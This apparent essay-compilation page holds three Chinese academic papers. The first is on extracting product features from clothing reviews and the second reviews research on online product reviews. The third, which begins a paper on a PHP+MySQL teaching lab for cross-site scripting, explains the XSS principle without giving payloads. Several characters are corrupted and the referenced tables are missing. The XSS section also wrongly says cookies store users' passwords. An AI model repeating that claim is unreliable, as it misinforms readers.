通過過濾處理的評(píng)論數(shù)據(jù)組成評(píng)論庫，評(píng)論以句為單位通過分詞工具的處理，同時(shí)統(tǒng)計(jì)計(jì)算出詞語或短語出現(xiàn)的頻率。定義候選詞庫的數(shù)據(jù)結(jié)構(gòu)為{A，B，C，D}，其中A為詞語或短語，B為詞性，C為出現(xiàn)頻數(shù)，D為該詞在該句評(píng)論中的出現(xiàn)語法模式。如：評(píng)論“感覺衣服尺碼偏大”，若“尺碼”在庫中出現(xiàn)10次，則提取結(jié)果為{"尺碼"，"/n"，10，"/n/n/尺碼/a/a"}，最后形成由詞語和詞性標(biāo)注的有序排列。

（4）抽取候選特征詞。

由于產(chǎn)品特征值主要由名詞或者名詞短語組成，所以本文關(guān)注詞性標(biāo)注為名詞或名詞短語的分詞結(jié)果并將其抽取為候選特征詞集合。每一款服裝商品的所有評(píng)論都形成各自的候選特征詞集。

（5）通過半自動(dòng)的方法建立停用詞庫。

為了節(jié)省空間、提高提取效率和準(zhǔn)確率，需要過濾某些詞，這些詞稱為“停用詞”。這些詞往往出現(xiàn)頻率較高，但卻不是產(chǎn)品特征，有的甚至沒有什么含義。例如：“給表妹買的，很合身”這樣的句式在評(píng)論中是很常見的。其中“表妹”一類的人稱代詞出現(xiàn)的頻率較高，而一般的基于概率統(tǒng)計(jì)思想的算法往往會(huì)將其認(rèn)為是“高頻特征”而錯(cuò)誤提取。因此，使用停用詞庫進(jìn)行過濾就能較好地解決這一類問題。首先獲取其他類型商品的評(píng)論信息，按上述方法抽取出這些商品的特征詞，最后取這些特征詞的交集構(gòu)建停用詞庫。但是因?yàn)橛械奶卣髟~如上市時(shí)間，物流，外觀等屬于通用特征詞所以需人工挑選出來。

（6）裁剪候選特征詞。

通過統(tǒng)計(jì)和模式匹配對候選特征詞進(jìn)行裁剪。利用統(tǒng)計(jì)的方法選取高頻特征詞，并在這些已經(jīng)選取的高頻特征詞中前后尋找語法模式。然后調(diào)整統(tǒng)計(jì)的閾值并用語法模式的匹配裁剪以提取低頻的特征詞。最后通過停用詞庫過濾得出最終的產(chǎn)品特征詞集。

4 數(shù)據(jù)實(shí)驗(yàn)

4.1 特征詞集合

由高頻特征詞以及符合匹配模式的名詞組成，最后通過無關(guān)詞庫的過濾的出特征詞集合。采用某品牌天貓店中的1132款服裝的商品信息和對應(yīng)的17039條有效評(píng)論通過本文方法獲取商品特征如下：

其征詞旁的標(biāo)號(hào)為該詞在評(píng)論語句中出現(xiàn)的頻數(shù)，沒有標(biāo)號(hào)的詞通過匹配模式提取。

4.2 驗(yàn)證與評(píng)價(jià)

對產(chǎn)品特征提取方法的性能判斷，可用查全率和查準(zhǔn)率進(jìn)行評(píng)價(jià)。產(chǎn)品屬性的提取相當(dāng)于對屬性詞語的二維分類，即真實(shí)屬性還是非真實(shí)屬性、已提取屬性和未提取屬性的分類。采用列聯(lián)表（表2）說明如下：

查全率（R）=A/（A+B）；

查準(zhǔn)率（P）=A/（A+C）；

利用人工識(shí)別的方法，可做查全率和查準(zhǔn)率的計(jì)算，并說明上述方法的準(zhǔn)確性[7]。以一款男裝和一款女裝為例，統(tǒng)計(jì)結(jié)果如下：

某款夏季男裝（id：3953xxx0863）

相對于其他產(chǎn)品特征挖掘方法，本文所提出的方法與其他方法的結(jié)果比較如表5所示。以上述兩款服裝為例，算得查全率和查準(zhǔn)率的平均值分別為66.19和85.25。

通過比較，表明本文方法對于商品評(píng)論中的特征提取有著較高的查準(zhǔn)率，但是明顯的查全率偏低，基本保持在66%左右。這主要是由于低頻特征詞的獲取是由匹配模式?jīng)Q定的，個(gè)別的產(chǎn)品特征出現(xiàn)頻數(shù)較少以及網(wǎng)絡(luò)評(píng)論句式的自由化、多樣化都給匹配模式的準(zhǔn)確構(gòu)建提出了更高的要求。隨著匹配模式的進(jìn)一步研究與改進(jìn)，相信將會(huì)取得更好的效果，同時(shí)這也是本文今后的研究方向?？傊?，從實(shí)驗(yàn)結(jié)果來看基于詞性標(biāo)注和統(tǒng)計(jì)并利用模式匹配對候選特征詞進(jìn)行裁剪的產(chǎn)品特征提取方法還是比較有效的。

5 總結(jié)

產(chǎn)品特征不僅是影響客戶做出商品購買決策的重要因素，也是企業(yè)為提高產(chǎn)品和服務(wù)質(zhì)量、提高收益的關(guān)鍵。而產(chǎn)品特征提取是產(chǎn)品評(píng)論挖掘的重要方面，更直接影響到評(píng)論挖掘系統(tǒng)的性能。本文提出的方法能夠有效地從商品評(píng)論庫中提取出商品特征值，并以真實(shí)評(píng)論數(shù)據(jù)為實(shí)驗(yàn)，表明了該方法的有效性，可為企業(yè)構(gòu)建評(píng)論挖掘系統(tǒng)作參考。

參考文獻(xiàn)：

[1] 伍星，何中市，黃永文.產(chǎn)品評(píng)論挖掘研究綜述[J].計(jì)算機(jī)工程與應(yīng)用，2008，4（36）：37-40.

[2] 李實(shí)，葉強(qiáng)，李一軍，羅嗣卿.挖掘中文網(wǎng)絡(luò)客戶評(píng)論的產(chǎn)品特征及情感傾向[J].計(jì)算機(jī)應(yīng)用研究，2010，27（8）：3016-3019

[3] 郗亞輝， 張明， 袁方，等. 產(chǎn)品評(píng)論挖掘研究綜述[J]. 山東大學(xué)學(xué)報(bào)：理學(xué)版， 2011， 46（5）：16-23.

[4] 王永， 張勤， 楊曉潔. 中文網(wǎng)絡(luò)評(píng)論中產(chǎn)品特征提取方法研究[J]. 現(xiàn)代圖書情報(bào)技術(shù)， 2013（12）：70-73.

[5] 李培. 產(chǎn)品評(píng)論挖掘的觀點(diǎn)抽取和分類技術(shù)研究[D]. 重慶大學(xué)， 2009.

第5篇：商品評(píng)論范文

關(guān)鍵詞：在線產(chǎn)品評(píng)論；文本評(píng)論；文本挖掘技術(shù)

基金項(xiàng)目：教育部人文社會(huì)科學(xué)研究青年基金項(xiàng)目：“網(wǎng)頁中產(chǎn)品屬性文本信息對消費(fèi)者購買決策的影響機(jī)制研究”（編號(hào)：14YJC630204）

中圖分類號(hào)：F724.6 文獻(xiàn)標(biāo)識(shí)碼：A

收錄日期：2015年5月31日

網(wǎng)絡(luò)購物用戶在網(wǎng)上購物時(shí)很多人都會(huì)瀏覽參考其他人對商品的評(píng)論信息，并且在購物后進(jìn)行在線評(píng)論。2006年開始對在線產(chǎn)品評(píng)論的研究不斷增多（李恒，2015）。由于該研究主題涉及信息系統(tǒng)、電子商務(wù)、消費(fèi)者行為、圖書與情報(bào)科學(xué)等多個(gè)不同領(lǐng)域的交叉，相關(guān)研究文獻(xiàn)較難得到系統(tǒng)性的整理。本文擬從在線評(píng)論的特征、作用、分析技術(shù)這三個(gè)方面對這些文獻(xiàn)進(jìn)行梳理。值得注意的是，由于文獻(xiàn)涉及范圍過于廣泛，為了使本文綜述主題聚焦，文中關(guān)于在線評(píng)論的文獻(xiàn)僅局限于商家購物網(wǎng)站的購買者評(píng)論，也稱為在線產(chǎn)品評(píng)論。其他在線評(píng)論或者在線口碑形式不在討論之列，比如第三方平臺(tái)的評(píng)論（影評(píng)、試乘試駕評(píng)論、點(diǎn)評(píng)網(wǎng)站評(píng)論等）、社交媒體中的產(chǎn)品或企業(yè)評(píng)論（各類口碑、輿情、內(nèi)容營銷及互動(dòng)等）。

一、在線產(chǎn)品評(píng)論特征

李恒（2015）把消費(fèi)者的在線評(píng)論特征總結(jié)為分屬于評(píng)論星級(jí)和文本評(píng)論兩種形式下的12種維度。其中，評(píng)論星級(jí)指的是購買者對該次購物的總體評(píng)價(jià)。這種形式中沒有分出更多的維度，因此評(píng)論星級(jí)就是一個(gè)維度。在文本評(píng)論這一形式中，有評(píng)論標(biāo)題、評(píng)論內(nèi)容一般特性、評(píng)論內(nèi)容的語義特征、評(píng)論內(nèi)容的時(shí)間特性這四類。在這四類中分別包含了評(píng)論標(biāo)題、評(píng)論質(zhì)量、評(píng)論數(shù)量、評(píng)論長度、評(píng)論差異性、評(píng)論效價(jià)、評(píng)論類型、評(píng)論可讀性、評(píng)論強(qiáng)度、評(píng)論及時(shí)性、評(píng)論時(shí)效性等11個(gè)維度。這12個(gè)維度具體的隸屬關(guān)系以及其研究焦點(diǎn)屬性本文將其整理至表1中。接下來本文針對表1中的各種在線評(píng)論特征維度和其研究焦點(diǎn)屬性逐一進(jìn)行解釋。（表1）

評(píng)論星級(jí)指的是購買者對該次購物的總體評(píng)價(jià)。這種形式中沒有分出更多的維度，因此評(píng)論星級(jí)就是一個(gè)維度。通常的研究焦點(diǎn)在于評(píng)論星級(jí)的極端性與中立性的作用。以大部分購物網(wǎng)站采用的五星評(píng)分制度為例，評(píng)論星級(jí)的極端性即一星為代表的極端負(fù)面評(píng)價(jià)與五星為代表的極端正面評(píng)價(jià)，而三星反映中立態(tài)度。

接下來的文本評(píng)論中包含了網(wǎng)購用戶有文字留言內(nèi)容的評(píng)論中的各種特性的研究維度。大略可以分為文本評(píng)論標(biāo)題和文本評(píng)論內(nèi)容兩類，文本評(píng)論標(biāo)題是評(píng)論者對評(píng)論內(nèi)容的文本概括，在除了在線產(chǎn)品評(píng)論以外的在線評(píng)論中比較常見。通過評(píng)論者自擬的標(biāo)題使瀏覽者容易從標(biāo)題的關(guān)鍵詞以及總體情感傾向中搜索以及快速知曉評(píng)論整體內(nèi)容，但是在購物網(wǎng)站的用戶評(píng)論中設(shè)置標(biāo)題的并不多，比如國內(nèi)的淘寶、京東等購物網(wǎng)站的用戶評(píng)論中均沒有設(shè)置文本評(píng)論的標(biāo)題。因此，本文中不再贅述。文本評(píng)論內(nèi)容就是網(wǎng)購用戶用文字留下的購買感受的評(píng)價(jià)內(nèi)容，李恒（2015）將其特性分為一般特性、語義特征和時(shí)間特性三類。本文在介紹完表1這些特征之后，再對其中未包含的一些特征進(jìn)行補(bǔ)充。

評(píng)論內(nèi)容的一般特性包括評(píng)論的質(zhì)量、數(shù)量、長度和差異性。其中，數(shù)量和長度比較好理解，就是該產(chǎn)品下購買者的累計(jì)評(píng)論的總數(shù)和評(píng)論的文字字?jǐn)?shù)長度，其研究屬性也是總數(shù)和字?jǐn)?shù)長度的計(jì)量值。評(píng)論質(zhì)量特性借鑒了霍夫蘭德的說服模型中信息內(nèi)容對說服效果的影響作用，強(qiáng)調(diào)了在線產(chǎn)品評(píng)論作為消費(fèi)者用來參考購買的有用信息，信息的瀏覽者對于產(chǎn)品評(píng)論信息的真實(shí)性、可靠性、內(nèi)容與其所評(píng)價(jià)的產(chǎn)品的相關(guān)性以及是否為后續(xù)購買者提供了大量有用的信息這幾個(gè)方面的主觀感知（郭國慶，2010；李宏，2011）。其研究屬性也基本圍繞這幾個(gè)有關(guān)信息質(zhì)量評(píng)價(jià)的主觀因子展開。評(píng)論差異性，即評(píng)論離散度，能顯示不同評(píng)論中購買者態(tài)度或觀點(diǎn)上的分歧程度。其研究屬性通常采用評(píng)論者對網(wǎng)絡(luò)平臺(tái)設(shè)置的評(píng)分項(xiàng)打分的方差或標(biāo)準(zhǔn)差來度量。

評(píng)論內(nèi)容的語義特征包括評(píng)論的效價(jià)、類型、可讀性和強(qiáng)度，這些特性都與文字評(píng)論的文本內(nèi)容的表達(dá)有關(guān)。簡單來說，效價(jià)代表了文本內(nèi)容的詞語描述中總體體現(xiàn)出來的情感傾向，其研究屬性有正面、負(fù)面和中立（或綜合）之分；類型代表了文本詞語中對產(chǎn)品屬性及其體驗(yàn)的描述是客觀還是主觀之分；可讀性代表了評(píng)論文本詞語中每個(gè)評(píng)論者其自身帶有的語言習(xí)慣表達(dá)、拼寫、詞匯選擇、句長句式語法等是否容易讓瀏覽閱讀的人理解，因此其研究屬性也是瀏覽評(píng)論者的一種主觀性的感知（Korfiati，2012）；強(qiáng)度代表了評(píng)論文本詞語措辭中表現(xiàn)出的情感態(tài)度的強(qiáng)烈程度，其研究屬性主要集中于瀏覽者對負(fù)面口碑中負(fù)面情緒強(qiáng)度的感知程度（黎小林，2007）。

評(píng)論內(nèi)容的時(shí)間特性包括及時(shí)性和時(shí)效性，這兩條特性與評(píng)論的時(shí)間信息有關(guān)。評(píng)論及時(shí)性代表評(píng)論時(shí)間與購買時(shí)間的間隔遠(yuǎn)近，研究屬性是評(píng)論發(fā)表的天數(shù)，但是究竟天數(shù)長好還是短更好可能并不是簡單的線性關(guān)系，因此到底是否及時(shí)的判斷也就比較模糊了；而時(shí)效性代表評(píng)論時(shí)間與現(xiàn)在（瀏覽時(shí)間）間隔遠(yuǎn)近，以及是否在最近有頻率較高的密集評(píng)論，這反映了該產(chǎn)品的近期火熱與流行程度，研究屬性是評(píng)論瀏覽者對時(shí)效性強(qiáng)與弱的主觀評(píng)價(jià)（劉逶迤、逯萬輝，2010；郭國慶等，2010；龔思蘭等，2013）。

其他表1中未提及的較為重要的特性還有評(píng)論者特征等等。評(píng)論者的特征包括評(píng)論者是否匿名（身份知否披露）、評(píng)論者的專業(yè)性、評(píng)論者的聲譽(yù)、排名等等（Racherla P，F(xiàn)riske W，2012；Hyunmi et al.2012）。這個(gè)部分我們只是將這些現(xiàn)有研究中涵蓋的特征進(jìn)行了簡單歸類和羅列，其中有些特征在技術(shù)、功能和研究范式發(fā)展過程中會(huì)出現(xiàn)不同程度的交叉重疊和所屬類別上的變化，在后文中會(huì)有所提及。

二、在線產(chǎn)品評(píng)論作用

以上談到的是在線產(chǎn)品評(píng)論的特征，對于在線產(chǎn)品評(píng)論的功能研究者們也有所探討。在線評(píng)論的功能一方面包含有大量產(chǎn)品屬性、使用價(jià)值方面的描述信息可以給潛在購買者信息上的借鑒，幫助他們降低不確定性風(fēng)險(xiǎn)；另一方面評(píng)論中含有大量購買的情感體驗(yàn)和表達(dá)信息，對商品有強(qiáng)大的推薦作用，大量比較集中的正面或者負(fù)面評(píng)論會(huì)引起潛在購買者的從眾行為，影響他們購買或者不購買的最終決定。遵從這些意見購買產(chǎn)品（Park DH，et al.2007；Duan W J，et al.2008）。關(guān)于評(píng)論功能的衡量焦點(diǎn)主要集中在評(píng)論信息質(zhì)量（評(píng)論有用性），評(píng)論可信度和消費(fèi)者態(tài)度形成與改變以及具體的銷量數(shù)據(jù)等。

Mudambi和Schuff（2010）從信息經(jīng)濟(jì)學(xué)中信息的診斷性角度定義了評(píng)論信息質(zhì)量。早期的評(píng)論信息質(zhì)量的評(píng)價(jià)并不局限于文本評(píng)論，但隨著研究者對評(píng)論內(nèi)容特征的關(guān)注，評(píng)論質(zhì)量越來越多用來反映文本評(píng)論內(nèi)容對瀏覽者的信息參考價(jià)值。正如上文中提到對于文本評(píng)論而言評(píng)論質(zhì)量包含真實(shí)性、可靠性、相關(guān)性、有用性四個(gè)方面。借鑒技術(shù)接受模型TAM中人們接收新技術(shù)會(huì)受到對新技術(shù)感知有用性的影響這一思路，評(píng)論質(zhì)量中關(guān)于評(píng)論有用性的評(píng)價(jià)指標(biāo)更加受到重視，并成為判斷評(píng)價(jià)信息功能的主要研究變量。早期的評(píng)論有用性研究將評(píng)論星級(jí)及評(píng)論長度作為評(píng)論有用性的衡量指標(biāo)，其好處是指標(biāo)簡單，易量化。后期產(chǎn)品評(píng)論研究的重點(diǎn)轉(zhuǎn)向文本內(nèi)容認(rèn)知，對于文本內(nèi)容有用性的劃分采用了評(píng)論長度和可讀性兩個(gè)維度來衡量，有的研究中也將評(píng)論有用性定義為評(píng)論感知價(jià)值（Schindler&Bickart，2012）。由于當(dāng)前對文本內(nèi)容分析的方法是基于文本語義屬性的挖掘方法，對于在線產(chǎn)品評(píng)論相關(guān)特征的數(shù)據(jù)采集和統(tǒng)計(jì)大都是通過網(wǎng)絡(luò)信息搜索軟件實(shí)現(xiàn)，因此目前評(píng)論有用性的衡量通常是用網(wǎng)站中評(píng)論有用性的排名數(shù)據(jù)統(tǒng)計(jì)來替代。但是并不是所有購物網(wǎng)站的評(píng)論系統(tǒng)中都會(huì)設(shè)置評(píng)論是否有用這一瀏覽者打分機(jī)制，并且受到文化的影響，即便網(wǎng)站設(shè)置了這一功能，國內(nèi)的消費(fèi)者也沒有去給評(píng)論打分的習(xí)慣。因此這種衡量方式的有效性也一直受到爭議。

研究中與評(píng)論有用性常常共同出現(xiàn)的一個(gè)衡量評(píng)論的功能的變量就是評(píng)論的可信度。由于在交流有關(guān)研究領(lǐng)域發(fā)現(xiàn)可信度與勸說性之間的強(qiáng)相關(guān)，可信度被用來作為評(píng)論信息是否對潛在消費(fèi)者態(tài)度以及行為有強(qiáng)的勸說性的衡量指標(biāo)。從信息傳播的角度來說，信息源、消息和接受者是信息評(píng)價(jià)的3個(gè)主要的信息元素。因此相比于有用性，在線評(píng)論的可信度更強(qiáng)調(diào)從評(píng)論強(qiáng)度、信息源的可信度、評(píng)論間的一致性、評(píng)論累積排名等維度來度量，從已有的研究文獻(xiàn)來看，其中又主要側(cè)重于對信息源可信度的判斷，也就是對評(píng)論者的可信度的判斷（Cheung等，2009）。Lis（2013）將信息源的專業(yè)度和值得信任程度作為信息源可信度的衡量標(biāo)準(zhǔn)和評(píng)論排名一起作為評(píng)論可信度的決定因素，其中值得信任程度中包含評(píng)論內(nèi)容的質(zhì)量、與其他評(píng)論的一致性以及其他消費(fèi)者對評(píng)論的認(rèn)可這幾個(gè)方面。因此，評(píng)論可信度與評(píng)論有用性是有交叉又各有側(cè)重的兩個(gè)研究變量。研究者會(huì)根據(jù)研究方法以及目標(biāo)選擇其中合適的變量作為對評(píng)論功能的衡量。不過由于目前側(cè)重于文本評(píng)論數(shù)據(jù)挖掘的研究方法所限，還是以有用性的排名統(tǒng)計(jì)作為評(píng)論價(jià)值功能的衡量更多見。

其他還有一些研究變量，比如將瀏覽者看完評(píng)論信息以后持有的態(tài)度作為衡量評(píng)論功能實(shí)現(xiàn)的衡量指標(biāo)，比如對產(chǎn)品的購買意愿、感知的產(chǎn)品質(zhì)量、滿意度、忠誠度等（Reyes A & Rosso P，2012；Chang & Yen，2013），以及直接用企業(yè)經(jīng)營數(shù)據(jù)，比如產(chǎn)品的銷量、企業(yè)收入、公司股價(jià)來作為評(píng)論的作用，不過后兩者多用于第三方評(píng)論或者公眾輿論有關(guān)的評(píng)論效果研究中，與在線產(chǎn)品評(píng)論有關(guān)的經(jīng)營數(shù)據(jù)最主要的還是被評(píng)論產(chǎn)品的銷量數(shù)據(jù)（Sonnier等，2011）。

三、在線產(chǎn)品評(píng)論分析技術(shù)

在線評(píng)論信息挖掘研究集中在信息系統(tǒng)、電子商務(wù)管理科學(xué)等領(lǐng)域。近幾年，在線評(píng)論信息挖掘日益成為在線產(chǎn)品評(píng)論研究的熱點(diǎn)，由于文本挖掘技術(shù)的研究進(jìn)展還處于不太成熟的階段，各領(lǐng)域中計(jì)算機(jī)科學(xué)和信息科學(xué)領(lǐng)域?qū)ξ谋就诰蚣夹g(shù)的研究居多。文本挖掘技術(shù)和自然語言處理等技術(shù)現(xiàn)在已經(jīng)能對半結(jié)構(gòu)化和非結(jié)構(gòu)化數(shù)據(jù)進(jìn)行挖掘，在線評(píng)論的表現(xiàn)形式為數(shù)量眾多且非結(jié)構(gòu)化的文本，但是如何提高對在線評(píng)論的挖掘精確度也一直是技術(shù)研究領(lǐng)域關(guān)注的焦點(diǎn)。目前，在挖掘技術(shù)上的研究集中于信息抽取、情感分析和文本分類這三類主流研究方法。信息抽取是情感分析的基礎(chǔ)，同時(shí)信息抽取和情感分析又是文本分類的基礎(chǔ)。信息抽取主要是通過對評(píng)論中描述產(chǎn)品性能或功能的名詞或短語進(jìn)行關(guān)鍵詞的抽取，情感分析是通過語義分析對評(píng)論中需要聯(lián)系上下文才能理解評(píng)論者表達(dá)效價(jià)進(jìn)行情感傾向的判斷，挖掘出的信息結(jié)果包括抽取的主題特征 （價(jià)格、質(zhì)量、外觀等）、情感傾向 （正面、中立、負(fù)面）、文本類別（主題和情感類別）。以情感分析為例，當(dāng)前所廣泛采用的文本語義屬性分析的挖掘方法是不夠成熟的，無論是詞語極性推測法、點(diǎn)互信息法、抽取主觀表達(dá)式法還是構(gòu)造情感詞典法，都是基于文本內(nèi)容字面信息的加工和處理，而文本內(nèi)容所包含的潛在信息卻是無法挖掘的，如說話人的語言風(fēng)格所反映出的評(píng)論人所屬的用戶群體或?qū)I(yè)程度等，因此僅從字面來進(jìn)行情感傾向的判斷存在一定的不精確性。

但是也有越來越多的學(xué)者在信息抽取和文本挖掘的基礎(chǔ)上從實(shí)證研究角度對在線評(píng)論的有用性、對消費(fèi)者態(tài)度以及商家銷量的影響等進(jìn)行研究。有學(xué)者利用主題特征信息抽取技術(shù)從在線評(píng)論中抽取產(chǎn)品特征和主題信息，并以此研究發(fā)現(xiàn)評(píng)論中消費(fèi)者提及最多的產(chǎn)品主題特征并不一定對他們的滿意度影響最大（You WJ，et al.2012）。Cao等（2011）運(yùn)用潛在語義文本分析文本挖掘法（LSA）應(yīng)用logit回歸模型研究了評(píng)論星級(jí)、評(píng)論時(shí)間、評(píng)論字?jǐn)?shù)、評(píng)論中包含的句子數(shù)、語義特征（評(píng)論中的情感傾向）對評(píng)論有用性投票數(shù)的影響，經(jīng)過發(fā)現(xiàn)評(píng)論的語義特征對評(píng)論有用性影響最大。Min和Park（2012）從評(píng)論者經(jīng)驗(yàn)這一角度出發(fā)應(yīng)用文本挖掘和實(shí)證分析方法研究如何根據(jù)評(píng)論者經(jīng)驗(yàn)識(shí)別出高質(zhì)量評(píng)論。還有研究者通過對手機(jī)評(píng)論進(jìn)行情感分析，識(shí)別手機(jī)是否存在過度的功能設(shè)計(jì)并以此獲得更多的顧客滿意度來提高銷售績效（Liu P，et al.2010）。未來隨著文本挖掘技術(shù)的進(jìn)步，分析精確性不斷提高，相信這類結(jié)合實(shí)證方法證明在線產(chǎn)品評(píng)論商業(yè)應(yīng)用效果的研究也會(huì)越來越多并得出更有價(jià)值的結(jié)論。

四、結(jié)語

綜上所述，在線產(chǎn)品評(píng)論現(xiàn)階段為止的研究有以下三個(gè)方面的特點(diǎn)：第一，研究中關(guān)于在線產(chǎn)品評(píng)論的一般特征，內(nèi)容特征，評(píng)論者特征等等這些特征形式早期研究較多。雖然在研究發(fā)展過程中會(huì)出現(xiàn)不同程度的交叉重疊和所屬類別上的變化，但隨著購物網(wǎng)站評(píng)論體系設(shè)置的成熟化，這些特征形式基本穩(wěn)定下來，并且主要的特征屬性都集中在評(píng)論文本的特征描述中，這也說明了文本評(píng)論的重要作用。因此，現(xiàn)階段的研究主要集中于評(píng)論文本內(nèi)容的深度挖掘帶來的新的特征屬性；第二，文本挖掘技術(shù)和自然語言處理等技術(shù)現(xiàn)在已經(jīng)能對半結(jié)構(gòu)化和非結(jié)構(gòu)化數(shù)據(jù)進(jìn)行挖掘，而在線評(píng)論的表現(xiàn)形式為數(shù)量眾多且非結(jié)構(gòu)化的文本，如何提高對在線產(chǎn)品評(píng)論的挖掘精確度也一直是技術(shù)研究領(lǐng)域關(guān)注的焦點(diǎn)。正因?yàn)槲谋就诰蚣夹g(shù)的研究進(jìn)展還處于不太成熟的階段，現(xiàn)階段的挖掘主題比較少，情感分析精度也不夠高，因此其他領(lǐng)域即便將現(xiàn)有挖掘技術(shù)應(yīng)用于實(shí)證研究中，也難以得到穩(wěn)定的和有價(jià)值的結(jié)論。相信未來隨著文本挖掘技術(shù)的進(jìn)步，這類結(jié)合實(shí)證方法證明在線產(chǎn)品評(píng)論商業(yè)應(yīng)用效果的研究也會(huì)越來越多，并得出更有價(jià)值的結(jié)論；第三，在商業(yè)應(yīng)用研究領(lǐng)域，如何選取合適的研究變量和指標(biāo)，比如消費(fèi)者行為變量及觀測指標(biāo)來與文本挖掘技術(shù)得到的計(jì)量數(shù)據(jù)相結(jié)合，從而實(shí)現(xiàn)更準(zhǔn)確有價(jià)值的實(shí)證研究，也是在研究方法上需要繼續(xù)探索和解決的問題，比如目前用網(wǎng)站評(píng)論有用性的排名數(shù)據(jù)統(tǒng)計(jì)來替代評(píng)論有用性度量的方式過于單一且準(zhǔn)確性受到質(zhì)疑。

另外，還有兩個(gè)在線產(chǎn)品評(píng)論研究中比較集中的主題未來也可能會(huì)繼續(xù)發(fā)展：一個(gè)是購買者參與評(píng)論的動(dòng)機(jī)及其在社交網(wǎng)絡(luò)中的作用；另一個(gè)是對購物網(wǎng)站上越來越多出現(xiàn)的虛假評(píng)論現(xiàn)象的研究，目前的研究集中在虛假評(píng)論的識(shí)別以及其影響方面，未來隨著消費(fèi)者的經(jīng)驗(yàn)增加以及網(wǎng)站成熟運(yùn)作，這方面的研究還會(huì)有新的熱點(diǎn)出現(xiàn)。

主要參考文獻(xiàn)：

[1]李恒.在線評(píng)論特征的維度綜述[J].企業(yè)技術(shù)開發(fā)，2015.1.

[2]李宏，喻葵，夏景波.負(fù)面在線評(píng)論對消費(fèi)者網(wǎng)絡(luò)網(wǎng)絡(luò)購買決策的影響，一個(gè)實(shí)驗(yàn)研究[J].情報(bào)雜志，2011.5.

[3]龔思蘭，丁晟春，周夏偉，巢乃鵬.在線商品評(píng)論信息可信度影響因素實(shí)證研究[J].情報(bào)雜志，2013.32.11.

[4]宋曉晴，孫習(xí)祥.消費(fèi)者在線評(píng)論采納研究綜述[J].現(xiàn)代情報(bào)，2015.1.

[5]羅彪，叢日飛.留、傳、搜、用：消費(fèi)者行為視角下的電子口碑研究綜述與展望[J].外國經(jīng)濟(jì)與管理，2015.37.8.

[6]You WJ，Xia M，Liu，L，et al.Customer knowledge discovery form online reviews[J].Electron Markets，2012.7.7.

第6篇：商品評(píng)論范文

（廣東外語藝術(shù)職業(yè)學(xué)院，廣東 廣州 510640）

【摘　要】高職院校的網(wǎng)絡(luò)安全類課程教學(xué)中，需要學(xué)生既具有扎實(shí)的基礎(chǔ)理論知識(shí)，又要求在教學(xué)中給學(xué)生提供一個(gè)模擬或者真實(shí)的操作環(huán)境幫助學(xué)生全面的掌握網(wǎng)絡(luò)安全知識(shí)。如何防范跨站腳本攻擊是當(dāng)前網(wǎng)絡(luò)安全工作中的一個(gè)重要課題，本文結(jié)合了日常教學(xué)的經(jīng)驗(yàn)，在詳細(xì)分析跨站腳本攻擊原理的基礎(chǔ)上，在php＋mysql環(huán)境上搭建出一個(gè)真實(shí)的實(shí)驗(yàn)環(huán)境，幫助學(xué)習(xí)者深刻理解跨站腳本攻擊的相關(guān)知識(shí)，并學(xué)會(huì)如何進(jìn)行有效防范。

關(guān)鍵詞 跨站腳本攻擊； 網(wǎng)絡(luò)安全； 實(shí)驗(yàn)平臺(tái)

【Abstract】The students in vocational college are required to have enough knowledge about the principle of network security, and an experimental platform is also needed to help students lean network security. Cross Site Script(XSS) attack and defense is an important subject in network security field. An experimental platform is developed to help learner understand about XSS attack and defense, and the principle of XSS attack and defense is also analyzed. The platform is developed using php+mysql tools. This article is based on the author’s regular teaching experience.

【Key words】Cross site script attack; Network security; Experimental platform

跨站腳本攻擊在各種網(wǎng)絡(luò)安全漏洞中，一直被OWASP(Open Web Application Security Project) 組織評(píng)為十大安全漏洞中的第二威脅漏洞。2011年，國內(nèi)最熱門的信息平臺(tái)“新浪微博”爆發(fā)跨站腳本攻擊，僅持續(xù)16分鐘，感染的用戶就達(dá)33000個(gè)，可見其危害之大。

高職院校的《網(wǎng)絡(luò)安全與防范》課程也把跨站腳本攻擊作為一個(gè)重點(diǎn)的教學(xué)內(nèi)容。為了讓學(xué)生充分掌握跨站腳本攻擊的防范方法，就必須透徹的了解跨站腳本攻擊的原理和具體的實(shí)施過程。

我們開展了一項(xiàng)課題，旨在搭建一個(gè)網(wǎng)絡(luò)攻防的應(yīng)用平臺(tái)，幫助學(xué)習(xí)者更深刻的理解各種網(wǎng)絡(luò)攻防的原理和了解其實(shí)施的步驟，以采取更高效的防范措施，來杜絕網(wǎng)絡(luò)攻擊的產(chǎn)生?？缯灸_本攻擊就是其中的一項(xiàng)任務(wù)。

本文中，我們會(huì)對跨站腳本攻擊進(jìn)行詳細(xì)的分析，并結(jié)合搭建的網(wǎng)絡(luò)平臺(tái)重建攻擊過程，并提出防范方法。

跨站腳本攻擊是由于網(wǎng)站的后臺(tái)系統(tǒng)對用戶的輸入過濾不嚴(yán)而產(chǎn)生的。攻擊者利用這一點(diǎn)把惡意代碼加入到網(wǎng)站的后臺(tái)系統(tǒng)中（通常是網(wǎng)頁之中），當(dāng)用戶瀏覽這些網(wǎng)頁時(shí)，那些隱含在正常網(wǎng)頁中的惡意代碼就會(huì)在用戶的機(jī)器中得以執(zhí)行，從而達(dá)到各種攻擊用戶電腦的目的。

為了理解跨站腳本攻擊，有必要先了解用戶訪問一個(gè)沒有惡意代碼的簡單網(wǎng)頁的過程。訪問如圖 1所示的一個(gè)網(wǎng)頁，用wireshark工具進(jìn)行網(wǎng)絡(luò)數(shù)據(jù)的捕獲。

總共捕獲到兩個(gè)數(shù)據(jù)包，一個(gè)是瀏覽器發(fā)送給網(wǎng)站的請求數(shù)據(jù)包，其內(nèi)容如圖 2：

在請求數(shù)據(jù)包中，比較重要的一個(gè)字段是cookie字段，其具體內(nèi)容記錄了用戶平時(shí)登錄各種網(wǎng)站的賬號(hào)和密碼信息?？缯灸_本攻擊往往會(huì)通過這個(gè)字段獲取到用戶的賬號(hào)等重要信息。

網(wǎng)站回送給瀏覽器的響應(yīng)數(shù)據(jù)包如圖 3：

在響應(yīng)數(shù)據(jù)包中，除了一些頭信息外，還附帶上了網(wǎng)頁的內(nèi)容?？梢姡粋€(gè)基本的網(wǎng)頁訪問過程就是由一個(gè)請求數(shù)據(jù)包和響應(yīng)數(shù)據(jù)包組成的。

